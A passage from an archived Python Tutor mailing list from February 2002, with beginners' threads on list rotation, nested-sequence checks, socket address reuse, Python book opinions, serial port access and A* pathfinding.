> rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6]
> rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0]
> 
> yeilding list like so (with y going modulo the list size 
> i suppose):
> 
> [0, 1, 2, 3, 4, 5, 6]
> [1, 2, 3, 4, 5, 6, 0]
> [2, 3, 4, 5, 6, 0, 1]
> [3, 4, 5, 6, 0, 1, 2]
> .
> .
> .
> [6, 0, 1, 2, 3, 4, 5]
> [0, 1, 2, 3, 4, 5, 6]
> 
> 
> I am hurting my brain on this one.

def rotate(x, y=1):
   if len(x) == 0:
      return x
   y = y % len(x) # Normalize y, using modulo - even works for negative y
   
   return x[y:] + x[:y]
   
Ever wondered why Python list indexing starts at 0, and why slices like
l[x:y] include the start point but not the end point? It's because
operations like this work out so neatly :-)

-- 
Remco Gerlich


From scarblac@pino.selwerd.nl  Thu Feb 14 07:48:38 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 14 Feb 2002 08:48:38 +0100
Subject: [Tutor] Sample docstrings
In-Reply-To: <Pine.GSO.4.10.10202131758010.20641-100000@isis.visi.com>; from wilson@isis.visi.com on Wed, Feb 13, 2002 at 05:59:50PM -0600
References: <Pine.GSO.4.10.10202131758010.20641-100000@isis.visi.com>
Message-ID: <20020214084838.B9045@pino.selwerd.nl>

On  0, Tim Wilson <wilson@isis.visi.com> wrote:
> Hey everyone,
> 
> Can anyone nominate some source code that I can review that does an
> exemplory job of using docstrings? I'm interesting is seeing examples of
> all the the different types mentioned in PEP 257
> (http://python.sourceforge.net/peps/pep-0257.html).

How about the Python Standard Library? There are lots of modules in Lib/ in
your Python directory, and most of them have good docstrings.

-- 
Remco Gerlich


From scarblac@pino.selwerd.nl  Thu Feb 14 08:00:19 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 14 Feb 2002 09:00:19 +0100
Subject: [Tutor] check for nested sequences & flatten
In-Reply-To: <ALHPCIKOHJKHBBAA@mailcity.com>; from kp87@lycos.com on Thu, Feb 14, 2002 at 04:37:44PM +0900
References: <ALHPCIKOHJKHBBAA@mailcity.com>
Message-ID: <20020214090019.C9045@pino.selwerd.nl>

On  0, kevin parks <kp87@lycos.com> wrote:
> # what's up with this ?
> #
> def isNested(seq):
> 	"""isNested: checks a list for nesting and if nested, exactly how deeply
> 
> 	>>> isNested([1,2,3])	         yeilds: 1
> 	>>> isNested([1, [2], [3, [4]]])  yeilds: 3"""
> 	
> 	seq[:]
> 	depths = [0]
> 	for obj in seq:
> 		try:
> 			depths.append(isNested(obj))
> 		except:
> 			pass
> 	return max(tuple(depths))

First, the line 'seq[:]' does nothing. Oh wait - you use it to generate an
exception in case it's not possible. That makes the code more general than
your flatten() function, which only checked for ListType and TupleType. But
it also introduces a problem: for instance, if you feed it the string 'a',
then that is a sequence with one element - 'a'! The depth of the string is
infinite. If you only use it for real lists and tuples anyway, maybe it's
better to check for that.

Second, depths is [0], and every recursion eventually returns that zero, and
the previous call appends it to its depths list; you need a +1 in there
somewhere :).

Thirdly, what you've written is a max_depth() function (if you add +1 to the
return call). A function that only calculates is_nested() is easier:

import types

def is_nested(L):
   for item in L:
      is type(item) in (types.ListType, types.TupleType):
         return 1
   return 0


From dyoo@hkn.eecs.berkeley.edu  Thu Feb 14 08:01:00 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 14 Feb 2002 00:01:00 -0800 (PST)
Subject: [Tutor] random floats in a range greater than 0.0-1.0
In-Reply-To: <3C6AFF47.CCB23616@shaw.ca>
Message-ID: <Pine.LNX.4.21.0202140000030.5866-100000@hkn.eecs.berkeley.edu>

On Wed, 13 Feb 2002, Paul Sidorsky wrote:

> Danny Yoo wrote:
> 
> > I think scaling would be the way to go on this one.  I can't think offhand
> > of a function in the random module that will do this, but cooking up such
> > a function should be too bad.
> > 
> > This sounded like a fun problem, so I've cooked up such a function.
> 
> random.uniform(50.0, 128.0) also works, but of course it's not nearly as
> much fun.  :-)

Ah.  *grin*  Thanks for the correction.



From dyoo@hkn.eecs.berkeley.edu  Thu Feb 14 08:24:54 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 14 Feb 2002 00:24:54 -0800 (PST)
Subject: [Tutor] check for nested sequences & flatten [functional
 programming/lambda]
In-Reply-To: <20020214090019.C9045@pino.selwerd.nl>
Message-ID: <Pine.LNX.4.21.0202140003540.5866-100000@hkn.eecs.berkeley.edu>

On Thu, 14 Feb 2002, Remco Gerlich wrote:

> import types
> 
> def is_nested(L):
>    for item in L:
>       is type(item) in (types.ListType, types.TupleType):
>          return 1
>    return 0


We can pretend to be pathologically addicted to functional programming,
and see what is_nested() might look like to such warped individuals.


Here's a function that checks to see if a certain condition is true
anywhere in the list:

###
def any(condition_function, seq):
    """Returns 1 if any element in our sequence 'seq'
    responds favorably to our 'condition_function'."""
    for element in seq:
        if condition_function(element):
            return 1
    return 0
###


Why would anyone want to write something so weird?  One reason is because
any() gives us a nice way of writing certain tests over any sequence:

###
>>> def isEven(x): return x % 2 == 0
... 
>>> any(isEven, [1, 3, 5, 8, 9])
1
>>> any(lambda n: not isEven(n), [2, 4, 6, 8])
0
>>> any(lambda ch: ch in 'aeiou', 'zzzzzz')
0
>>> any(lambda ch: ch in 'aeiou', 'kazzam')
1
###

and I think that's quite neat to be able to test sequences out like that,
without even having to write a loop.


Once we have any(), is_nested() is a snap:

###
def is_nested(L):
    def isList(x): return type(x) in (types.ListType,
                                      types.TupleType)
    return any(isList, L)
###



Hope this helps!



From scarblac@pino.selwerd.nl  Thu Feb 14 08:42:18 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 14 Feb 2002 09:42:18 +0100
Subject: [Tutor] check for nested sequences & flatten [functional programming/lambda]
In-Reply-To: <Pine.LNX.4.21.0202140003540.5866-100000@hkn.eecs.berkeley.edu>; from dyoo@hkn.eecs.berkeley.edu on Thu, Feb 14, 2002 at 12:24:54AM -0800
References: <20020214090019.C9045@pino.selwerd.nl> <Pine.LNX.4.21.0202140003540.5866-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020214094218.A9179@pino.selwerd.nl>

On  0, Danny Yoo <dyoo@hkn.eecs.berkeley.edu> wrote:
> We can pretend to be pathologically addicted to functional programming,

(snip)

> Here's a function that checks to see if a certain condition is true
> anywhere in the list:
> 
> ###
> def any(condition_function, seq):
>     """Returns 1 if any element in our sequence 'seq'
>     responds favorably to our 'condition_function'."""
>     for element in seq:
>         if condition_function(element):
>             return 1
>     return 0
> ###

If we're addicted, surely then this should read

any = lambda condition, seq: reduce(lambda a,b: a or b, map(condition, seq))

:)

(and why isn't the 'or' operator in the operator module?)

(If you don't understand what that line means - that's great! 
Avoid that style!)

-- 
Remco Gerlich


From lep@aber.ac.uk  Thu Feb 14 09:23:48 2002
From: lep@aber.ac.uk (Leighton Pritchard)
Date: Thu, 14 Feb 2002 09:23:48 +0000
Subject: [Tutor] Another new book
Message-ID: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk>

Has anyone here read, or read an opinion about, "Python Programming 
Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice 
Hall?


-- 
Dr Leighton Pritchard AMRSC
T44, Cledwyn Building
Institute of Biological Sciences
University of Wales, Aberystwyth, SY23 3DD
Tel 01970 622353    ext. 2353
PGP public key - http://www.keyserver.net (0x47B4A485)



From schoeller@zkm.de  Thu Feb 14 10:49:32 2002
From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=)
Date: Thu, 14 Feb 2002 11:49:32 +0100
Subject: [Tutor] SocketObject.close() question
In-Reply-To: <20020213141603.C910@speakeasy.net>
Message-ID: <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de>

> You can change a socket to reuse the same address, since the=20
> socketserver
> class is being used, you can maybe get the xlmrpcsvr to take a =
subclass
> of that.
>
> class ReuseSocketServer(SocketServer):
>   def server_bind(self):
>     import socket
>     self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>     SocketServer.server_bind(self)

Thank you for this example. I had two problems with it  ;-((  First i=20
tried to subclass SocketServer which "is not a base class" then I tried =20=

to subclass BaseServer which is the baseclass for TCPServer which also=20=

did not work. As I don=B4t want to change the source-modules , i quit =
this=20
approach. But while looking in the source I found a class-attribute=20
named  'allow_reuse_address' which defaults to 0 ( python 2.1 & 2.2=20
opposed to the docs, who is to be told to change this ? ).   After I=20
recovered from my first euphoria i changed my script :

port =3D 9000
server =3D SocketServer.TCPServer(('', port), RequestHandler)
server.allow_reuse_address =3D 1
server.serve_forever()

which also, did not work, because the attribute-setting comes too late.=20=

I ended up with changing the default in the module, with one question=20
remaining :  How can one use this setting without subclassing ?

> Also, you might want to think about using the shutdown() method =
instead
> of just close().  This will allow the network protocols to come down
> gracefully, and will reduce the number of "already in use" errors (not
> not all of them).  There is nothing strictly wrong with using close, =
but
> you will want to make sure that the socket isn't connected by some=20
> means.
>
shutdown(2) is what i wanted, thanks..

> Think about a telephone: it is possible, though unprobable, that =
someone
> could call at the same time you pick up the handset to make a call.
> This causes the phone to not ring, and the connection to go through;
> you start dialing the number and the other end is going "hello".
> This happens in real, but it's rare.  Now think about if it was at the
> other end of the call - someone was calling when you were hanging up,
> the connection might be established, your phone would think the call =
was
> done, but possibly the hardware in between left the connection open.
>
> The phone systems do not allow this "feature", but the TCP networks =
do.
> It's better to just use "shutdown" to let the whole system know you =
are
> shutting down.




From karthikg@aztec.soft.net  Thu Feb 14 11:31:21 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Thu, 14 Feb 2002 17:01:21 +0530
Subject: [Tutor] Another new book
In-Reply-To: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk>
Message-ID: <NEBBJNMDEKBIBCMCNMBDEEAGDCAA.karthikg@aztec.soft.net>

search for that in the python-list (active state has a searcheable archive).
I remeber people discussing that.

karthik

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Leighton Pritchard
Sent: Thursday, February 14, 2002 2:54 PM
To: tutor@python.org
Subject: [Tutor] Another new book


Has anyone here read, or read an opinion about, "Python Programming
Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice
Hall?



From karthikg@aztec.soft.net  Thu Feb 14 11:48:01 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Thu, 14 Feb 2002 17:18:01 +0530
Subject: [Tutor] Another new book
In-Reply-To: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk>
Message-ID: <NEBBJNMDEKBIBCMCNMBDGEAHDCAA.karthikg@aztec.soft.net>

> Has anyone here read, or read an opinion about, "Python Programming
> Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by
Prentice
> Hall?

BTW,

I checked that out in the stores sometime back.
i c'd see references to patterns only in chapter 5..rest looked like a
tutorial on python.
and probably that's not we are lookign for.

I hope Python Cookbook / Python in a nutshell would turn out to good books.
I have been asked to use perl @ my work place...something i don't want to.

I'm currently reading Object Oriented Perl ..by Damian Conway.
I wish someone writes such a book for Python too :-(. It's that good!.

I understand that Python is OO by design but a book on programming patterns
having a single chapter
on patterns surprised me.

i had a question here though..are all patterns suggested (say in GOF) for a
statically typed language
like java applicable to a dynamically typed language like python?

karthik.



From karthikg@aztec.soft.net  Thu Feb 14 12:47:55 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Thu, 14 Feb 2002 18:17:55 +0530
Subject: [Tutor] Python practices
In-Reply-To: <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de>
Message-ID: <NEBBJNMDEKBIBCMCNMBDGEAIDCAA.karthikg@aztec.soft.net>

Can someone point me to the URL which describes the Python practices:
for eg:
I checked out python idioms (@ python.org). Did'nt have the kind of
information i was looking for.
something along these lines...

if name == 'x or name == 'y':

s'd be written as

if name in ['x','y']:

thanks,
karthik.



From ajaya@ncoretech.com  Thu Feb 14 13:09:01 2002
From: ajaya@ncoretech.com (Ajaya Babu)
Date: Thu, 14 Feb 2002 18:39:01 +0530
Subject: [Tutor] (no subject)
Message-ID: <000101c1b558$c5cfbd40$6501a8c0@ncoretech.com>

Hi,

I want to access my serail port using python.  I am using linux machine.
please suggest some reading on it.

Thanks and Regards,
Ajaya



From pythontutor@venix.com  Thu Feb 14 13:40:38 2002
From: pythontutor@venix.com (Lloyd Kvam)
Date: Thu, 14 Feb 2002 08:40:38 -0500
Subject: [Tutor] Another new book
References: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk>
Message-ID: <3C6BBE56.7040007@venix.com>

I bought the book.  It is really a "learn to program using python"
type of book.  However, the examples and approach are geared for
people with programming experience.  The title is very misleading.
Many of the examples in later chapters do refer back to the pattern
chapter, but it is not really a book on patterns.

I have used it as a reference to look up a specific aspect of Python
programming (e.g. module organization or overriding __getattr__) and
found the book to be lucid and helpful.  Many of the sample code
snippets are very well thought out.  They are NOT simply rote
translations of Java syntax into Python.  Bottom line: I like the book.

I think Wesley Chun's book is a better choice for novices.

Leighton Pritchard wrote:

> Has anyone here read, or read an opinion about, "Python Programming 
> Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by 
> Prentice Hall?
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From alan.gauld@bt.com  Thu Feb 14 14:34:12 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 14 Feb 2002 14:34:12 -0000
Subject: [Tutor] cyclically rotate a list.
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C368@mbtlipnt02.btlabs.bt.co.uk>

> How does one cyclically rotate a list (of arbitary size)
> so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say:
> rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6]
> rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0]

Warning: untested pseudo code:

def rotate (aList, steps=1):
  for i in range(steps):  
    first = aList[0]
    aList = aList[1:]
    aList.append(first)
    return aList

Or somthing similar?

Alan g.


From alan.gauld@bt.com  Thu Feb 14 14:39:57 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 14 Feb 2002 14:39:57 -0000
Subject: [Tutor] cyclically rotate a list.
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C369@mbtlipnt02.btlabs.bt.co.uk>

> From: Remco Gerlich [mailto:scarblac@pino.selwerd.nl]
> def rotate(x, y=1):
>    return x[y:] + x[:y]

Oooh, I like it Remco! Much nicer than my loop.

Alan g.


From kp87@lycos.com  Thu Feb 14 14:45:23 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 14 Feb 2002 23:45:23 +0900
Subject: [Tutor] Re: check for nested sequences & flatten
Message-ID: <PBDCIPCIMACGIBAA@mailcity.com>

>Thirdly, what you've written is a max_depth() function (if you add +1 to the
>return call). 

That was what i was aiming for in another program. it's a bit more
all purpose that way, but for this i really am only concerned with
whether it is flat or nested.

>A function that only calculates is_nested() is easier:
>
>import types
>
>def is_nested(L):
>   for item in L:
>      is type(item) in (types.ListType, types.TupleType):
>         return 1
>   return 0


I copied this and the interpreter barfed. It said sytax error and pointed at the is type(item) in (types.ListType, types.TupleType):
line. Anyone see this syntax error, i can't. It looks ok to me

-kevin




Love is in the Air!

Check out Cupid School where you will learn from Matchmaker's
best and brightest.

At Cupid School you'll learn how to pair up hopeful romantics
with one another, based on their personal preferences.
If you do well- you'll be rewarded with your own
set of love bow and arrows!

Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From scarblac@pino.selwerd.nl  Thu Feb 14 14:48:23 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 14 Feb 2002 15:48:23 +0100
Subject: [Tutor] Re: check for nested sequences & flatten
In-Reply-To: <PBDCIPCIMACGIBAA@mailcity.com>; from kp87@lycos.com on Thu, Feb 14, 2002 at 11:45:23PM +0900
References: <PBDCIPCIMACGIBAA@mailcity.com>
Message-ID: <20020214154822.A9755@pino.selwerd.nl>

On  0, kevin parks <kp87@lycos.com> wrote:
> >      is type(item) in (types.ListType, types.TupleType):
> 
> 
> I copied this and the interpreter barfed. It said sytax error and pointed at the is type(item) in (types.ListType, types.TupleType):
> line. Anyone see this syntax error, i can't. It looks ok to me

I made a typo. It should be 'if', not 'is'.

-- 
Remco Gerlich


From alan.gauld@bt.com  Thu Feb 14 14:51:21 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 14 Feb 2002 14:51:21 -0000
Subject: [Tutor] Another new book
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C36A@mbtlipnt02.btlabs.bt.co.uk>

> i had a question here though..are all patterns suggested (say 
> in GOF) for a statically typed language like java applicable 
> to a dynamically typed language like python?

Two comments:
1) The GoF book is not about Java, it's primarily written about 
Smalltalk which is dynamically typed like Python. Almost all 
the GoF used Smalltalk at the time they wrote the original 
patterns book - one of the reasons all the patterns are single 
inheritance based.

2) Not all patterns for statically typed languages are applicable 
to dynamically typed languages and, more significantly, vice versa!
Dynamic patterns that don't work for statically typed are far more 
common than the other way around IMHO... (Statically typed languages 
rely on inheritance for polymorphism which seriously restricts 
the opportunities available.)

Alan g.


From cmccormick@thestate.com  Thu Feb 14 15:35:42 2002
From: cmccormick@thestate.com (Chris McCormick)
Date: Thu, 14 Feb 2002 10:35:42 -0500
Subject: [Tutor] Has anyone done an A* algorithm in Python?
Message-ID: <JG62005B6YXLJRMOMRLPMUSDC1C1W.3c6bd94e@cmccormickl>

Hello all,
   I am relatively new to Python, and have been using Python/SDL/pyGame to create a simple roleplaying application.  I want my NPC's to navigate around obstacles, and I have found some resources on the A* 
algorithm.  Unfortunately, the C code is pretty unintelligible to me.  Has anyone done something similar in a Python project?  Seeing some code, or even pseudocode, would be a great help.

Thanks in advance,
Chris McCormick




From rkashyap@sympatico.ca  Thu Feb 14 17:07:16 2002
From: rkashyap@sympatico.ca (Ramkumar Kashyap)
Date: Thu, 14 Feb 2002 12:07:16 -0500
Subject: [Tutor] List for Zope beginners
Message-ID: <3C6BEEC4.4080301@sympatico.ca>

Hi,


Is there a list for Zope beginners.  I have downloaded Zope and am going 
through the e.g. and was wondering if there was a similar list.

regards,

Ramkumar




From wesc@deirdre.org  Thu Feb 14 17:17:32 2002
From: wesc@deirdre.org (Wesley Chun)
Date: Thu, 14 Feb 2002 09:17:32 -0800 (PST)
Subject: [Tutor] Another new book
In-Reply-To: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk>
Message-ID: <Pine.LNX.4.31.0202140913340.12135-100000@emperor.deirdre.org>

On Thu, 14 Feb 2002, Leighton Pritchard wrote:

> Has anyone here read, or read an opinion about, "Python Programming
> Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prenti=
ce
> Hall?


i got this book somehow thinking it was going to be along a similar line
to "Design Patterns" and like some others have said, the title is
deceiving.  it does go thru teaching you thing about Python, but from my
1st impression and the Amazon reviews, i think the biggest flaw is its
title.  just my $0.02.

hope this helps!

-wesley

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"Core Python Programming", Prentice Hall PTR, =A9 2001
    http://starship.python.net/crew/wesc/cpp/

    wesley.j.chun :: wesc@deirdre.org
    cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com
    http://www.roadkill.com/~wesc/cyberweb/



From kp87@lycos.com  Thu Feb 14 16:01:13 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 15 Feb 2002 01:01:13 +0900
Subject: [Tutor] Help with silly algorhythm
Message-ID: <PNPFJDILPCGGIBAA@mailcity.com>

I have been wanting to ask this one for a while, but it is a bit tricky to articulate so I will try my best.

What I want to do is generate a new list of items based on another list and a some 
criteria (list of accepable values, for example). So, i might have:

* list of input values =[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]
* a list of acceptable new 'partner values' = [1, 3, 7, 10]

and I want a new list made up of the closest member of a list (modulo the
number of list members: here 12 (0-11) of acceptable values 
in 4 different ways [upper, lower, or alternating (starting higher, starting lower)]

All with the further stipulation that values from the input list do not team with values
in the "buddy" list if they are the same, so input 1 would not go with 1 from list 2, but
with 3 (the next value up),  or 10 (next value down).

vague i know, i am trying my best...

so we might get (in mode 1: all closest higher value)

 [ [0, 1], [1, 3], [2, 3], [3, 7], [4, 7], [5, 7], [6, 7], [7, 11]....

-or-

[1,   3,  3, 7, 7, 7, 7, 11.....]

mode 2 (all closest value down) might be:

[[0,10], [1, 10], [2, 1], [3, 1], [4, 3], [5,3], [6,3], [7,3], [8, 7]....

mode 3

[ [0, 1], [1, 10], [2, 3], [3, 1].....

etc.

So problem number one for me is how do i figure out which value is
'closest' (up or down), do i have to test it against each value of the list
or is there a smarter way.

I realize that this is very odd and convoluted. If it is too stupid a question
please feel free to snub it.

I know i have asked a lot of this list lately and have recieved some
very helpful responses. I am trying to get as much Python in as possible
before the holiday is over.

-kp--

meanwhile i am pouring over the last few tutor digests...




Love is in the Air!

Check out Cupid School where you will learn from Matchmaker's
best and brightest.

At Cupid School you'll learn how to pair up hopeful romantics
with one another, based on their personal preferences.
If you do well- you'll be rewarded with your own
set of love bow and arrows!

Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From lkvam@venix.com  Thu Feb 14 17:05:58 2002
From: lkvam@venix.com (Lloyd Kvam)
Date: Thu, 14 Feb 2002 12:05:58 -0500
Subject: [Tutor] (no subject)
References: <000101c1b558$c5cfbd40$6501a8c0@ncoretech.com>
Message-ID: <3C6BEE76.4070809@venix.com>

http://pyserial.sourceforge.net/
pySerial

I have no experience with this module.  It was newly announced on:
http://www.pythonware.com/daily/index.htm
Daily Python-URL

Ajaya Babu wrote:

> Hi,
> 
> I want to access my serail port using python.  I am using linux machine.
> please suggest some reading on it.
> 
> Thanks and Regards,
> Ajaya
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From dyoo@hkn.eecs.berkeley.edu  Thu Feb 14 18:11:12 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 14 Feb 2002 10:11:12 -0800 (PST)
Subject: [Tutor] Another new book
In-Reply-To: <Pine.LNX.4.31.0202140913340.12135-100000@emperor.deirdre.org>
Message-ID: <Pine.LNX.4.21.0202141009500.15104-100000@hkn.eecs.berkeley.edu>

On Thu, 14 Feb 2002, Wesley Chun wrote:

> 
> On Thu, 14 Feb 2002, Leighton Pritchard wrote:
> 
> > Has anyone here read, or read an opinion about, "Python Programming
> > Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice
> > Hall?
> 
> 
> i got this book somehow thinking it was going to be along a similar line
> to "Design Patterns" and like some others have said, the title is
> deceiving.  it does go thru teaching you thing about Python, but from my
> 1st impression and the Amazon reviews, i think the biggest flaw is its
> title.  just my $0.02.

I know that Bruce Eckel is planning to write a book about Python design
patterns:

    http://www.mindview.net/Books/TIPython

Perhaps this may be useful for people who want to play with Design Pattern
stuff; I still haven't had time to read the GoF yet!  *sigh*



From jeff@ccvcorp.com  Thu Feb 14 18:25:14 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu, 14 Feb 2002 10:25:14 -0800
Subject: [Tutor] Serial Port
References: <E16bLZP-0007qO-00@mail.python.org>
Message-ID: <3C6C010A.B5BB9F66@ccvcorp.com>

> "Ajaya Babu" <ajaya@ncoretech.com> wrote:
>
> I want to access my serail port using python.  I am using linux machine.
> please suggest some reading on it.

There was a recent announcement in comp.lang.python about this...  you might try this package:

http://pyserial.sourceforge.net/

That should work regardless of platform.

Jeff Shannon
Technician/Programmer
Credit International




From dyoo@hkn.eecs.berkeley.edu  Thu Feb 14 18:17:54 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 14 Feb 2002 10:17:54 -0800 (PST)
Subject: [Tutor] Re: [pygame] Does anyone have a python implementation of A*? (fwd)
Message-ID: <Pine.LNX.4.21.0202141017410.15104-100000@hkn.eecs.berkeley.edu>


---------- Forwarded message ----------
Date: Thu, 14 Feb 2002 09:59:32 -0800 (PST)
From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>
To: pygame-users@seul.org
Subject: Re: [pygame] Does anyone have a python implementation of A*?

On Thu, 14 Feb 2002, Chris McCormick wrote:

> Hello all,
>    I am working on a pretty simple little game, which is sort of a
> cross between an RPG and a world simulation.  I want my NPC's to
> navigate around obstacles, and I have found some web resources on the
> A* algorithm.  Unfortunately, the C code is pretty unintelligible to
> me.  Has anyone done something similar in a Python project?  Seeing
> some code, or even pseudocode, would be a great help.

Here you go:

    http://hkn.eecs.berkeley.edu/~dyoo/python/

Go down near the bottom, and you should see something about A*.  Hope this
helps!




From wolf_binary@hotmail.com  Thu Feb 14 18:36:00 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Thu, 14 Feb 2002 12:36:00 -0600
Subject: [Tutor] Software Design and crackers
Message-ID: <DAV34VEW3F5pjUn7VN2000056d7@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_000D_01C1B554.28656AE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

Where can I go to find out about software desing?  A book something.  I =
want to find a down to earth kind of help.  I have one other question to =
ask and that is about how to keep crackers at bay?  Where can I start to =
learn about internet security.

Thanks for any help

Cameron

------=_NextPart_000_000D_01C1B554.28656AE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Where can I go to find out about =
software=20
desing?&nbsp; A book something.&nbsp; I want to find a down to earth =
kind of=20
help.&nbsp; I have one other question to ask and that is about how to =
keep=20
crackers at bay?&nbsp; Where can I start to learn about internet=20
security.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for any help</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cameron</FONT></DIV></BODY></HTML>

------=_NextPart_000_000D_01C1B554.28656AE0--


From dyoo@hkn.eecs.berkeley.edu  Thu Feb 14 18:35:21 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 14 Feb 2002 10:35:21 -0800 (PST)
Subject: [Tutor] check for nested sequences & flatten [and/or special
 forms]
In-Reply-To: <20020214094218.A9179@pino.selwerd.nl>
Message-ID: <Pine.LNX.4.21.0202141024490.15104-100000@hkn.eecs.berkeley.edu>

On Thu, 14 Feb 2002, Remco Gerlich wrote:

> > Here's a function that checks to see if a certain condition is true
> > anywhere in the list:
> > 
> > ###
> > def any(condition_function, seq):
> >     """Returns 1 if any element in our sequence 'seq'
> >     responds favorably to our 'condition_function'."""
> >     for element in seq:
> >         if condition_function(element):
> >             return 1
> >     return 0
> > ###
> 
> If we're addicted, surely then this should read
> 
> any = lambda condition, seq: reduce(lambda a,b: a or b, map(condition, seq))
> 
> :)

Noooooo!  *grin*  Ok, I'm chastised.



> (and why isn't the 'or' operator in the operator module?)

Ah!  This is a tricky one: 'or' and 'and' behave in a particularly special
way.  Let's say that we try defining our own version of 'and' as a
function:

###
>>> def myand(a, b): return a and b
... 
###


In many cases, it will appear to do the right thing... but what about
something like this?

###
>>> 0 and 1/0
0
>>> myand(0, 1/0)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ZeroDivisionError: integer division or modulo by zero
###


What's particularly special about 'and' and 'or' is that they
automagically short-circuit --- when we do something like:

    0 and y

Python doesn't even need to look at 'y', since it knows that it's just
useless to proceed.  By the same short-circuiting logic:

    1 or y

just doesn't even try to evaluate y, since it sees a true value.


The reason that 'myand(0, 1/0)' breaks is because, when we do function
calls, Python needs to know what all the argument values are, so 'myand'
doesn't have the ability to short-circuit.  This is probably why they're
not in the operator module, because there's no mechanism available for
them to work as functions.


Hope that made some sort of sense!



From dyoo@hkn.eecs.berkeley.edu  Thu Feb 14 21:45:38 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 14 Feb 2002 13:45:38 -0800 (PST)
Subject: [Tutor] List for Zope beginners
In-Reply-To: <3C6BEEC4.4080301@sympatico.ca>
Message-ID: <Pine.LNX.4.21.0202141018250.15104-100000@hkn.eecs.berkeley.edu>

On Thu, 14 Feb 2002, Ramkumar Kashyap wrote:

> Is there a list for Zope beginners.  I have downloaded Zope and am
> going through the e.g. and was wondering if there was a similar list.

Hmmm... you may want to try the ZopeZen and ZopeNewbies people:

    http://www.zopezen.org/
    http://zopenewbies.net/

I haven't been able to find a mailing list, but that might just mean that
I'm not looking hard enough...

Try asking on zopezen.org, and people there may be able to point you
toward good resources for new Zopistas.  If you find that mailing list,
tell us so that we can better respond to this question next time.  Good
luck to you!



From dsh8290@rit.edu  Thu Feb 14 22:13:33 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 14 Feb 2002 17:13:33 -0500
